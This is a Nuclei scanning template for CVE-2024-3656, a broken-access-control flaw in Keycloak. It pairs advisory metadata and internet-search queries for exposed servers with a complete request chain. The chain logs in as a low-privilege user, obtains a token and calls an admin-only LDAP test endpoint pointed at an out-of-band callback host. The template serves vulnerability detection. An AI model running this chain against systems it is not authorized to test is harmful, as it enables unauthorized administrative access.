id: CVE-2024-3656

info:
  name: Keycloak < 24.0.5 - Broken Access Control
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A flaw was found in Keycloak. Certain endpoints in Keycloak's admin REST API allow low-privilege users to access administrative functionalities. This flaw allows users to perform actions reserved for administrators, potentially leading to data breaches or system compromise.
  reference:
    - https://cn-sec.com/archives/3262467.html
    - https://github.com/advisories/GHSA-2cww-fgmg-4jqc
    - https://access.redhat.com/errata/RHSA-2024:3575
    - https://access.redhat.com/security/cve/CVE-2024-3656
    - https://bugzilla.redhat.com/show_bug.cgi?id=2274403
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2024-3656
    cwe-id: CWE-200
    epss-score: 0.0007
    epss-percentile: 0.31545
  metadata:
    verified: true
    max-request: 5
    vendor: redhat
    product: keycloak
    shodan-query:
      - http.favicon.hash:"-1105083093"
      - http.html:"keycloak"
      - http.title:"keycloak"
    fofa-query:
      - icon_hash=-1105083093
      - body="keycloak"
      - title="keycloak"
    google-query: intitle:"keycloak"
  tags: cve,cve2024,keycloak,auth-bypass,authenticated

variables:
  username: "{{username}}"
  password: "{{password}}"
  realm: "master"
  code_verifier: "7BhCLfrzYxLzq3XzrfiA8TplZBDciJ0RZepiiDujJKwOaMDzMZWcqGvrCfYH6s735tzxteIUH1vWLP1D2xXm88O9XFEnxcx2"
  code_challenge: "{{ trim_right(replace(replace(base64(hex_decode(sha256(code_verifier))),'/','_'),'+','-'),'=') }}"
# we can also hardcode code_challenge to wMYxCiAZ5DmiZvqD0h5G_9QwE7IDDFRojvORiaqiTto

http:
  - raw:
      - |
        GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=security-admin-console&redirect_uri={{Scheme}}%3A%2F%2f{{Hostname}}%2Fadmin%2F{{realm}}%2Fconsole%2F&state=1&response_mode=query&response_type=code&scope=openid&nonce=1&code_challenge_method=S256&code_challenge={{code_challenge}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: tabid
        part: body
        internal: true
        regex:
          - "&tab_id=(\\w+)&"
        group: 1

  - raw:
      - |
        GET /realms/{{realm}}/login-actions/authenticate?client_id=security-admin-console&tab_id={{tabid}}&client_data=eyJydCI6ImNvZGUiLCJybSI6InF1ZXJ5Iiwic3QiOiIxIn0= HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: auth_url
        part: body
        internal: true
        regex:
          - '"login.disabled = true; return true;" action="(.*?)"'
        group: 1

  - raw:
      - |
        POST {{replace(auth_url,'&amp;','&')}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&credentialId=&

    extractors:
      - type: dsl
        name: codevalue
        internal: true
        dsl:
          - replace_regex(http_3_location,".*&code=","")
  - raw:
      - |
        POST /realms/{{realm}}/protocol/openid-connect/token HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/x-www-form-urlencoded

        code={{codevalue}}&grant_type=authorization_code&client_id=security-admin-console&redirect_uri={{Scheme}}%3A%2F%2F{{Hostname}}%2Fadmin%2F{{realm}}%2Fconsole%2F&code_verifier={{code_verifier}}&

    extractors:
      - type: json
        part: body
        name: access_token
        json:
          - '.access_token'
        internal: true

  - raw:
      - |
        POST /admin/realms/{{realm}}/testLDAPConnection HTTP/1.1
        Host: {{Hostname}}
        authorization: Bearer {{access_token}}
        content-type: application/json

        {
            "action": "testConnection",
            "connectionUrl": "ldap://{{interactsh-url}}/",
            "bindDn": "cn=admin,dc=example,dc=com",
            "bindCredential": "password",
            "useTruststoreSpi": "ldapsOnly",
            "connectionTimeout": "5000"
        }

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'

      - type: word
        part: body
        words:
          - 'HTTP 403 Forbidden'
        negative: true
# digest: 4a0a00473045022100b7cd15fb03af8880164cc5a1471dff15aeeae43c3453935d811a60317d982089022014f3c624d3805fd676c2fa161a6e1ba93d87134aee72437ef6cd5e7b9d23df90:922c64590222798bb761d5b6d8e72950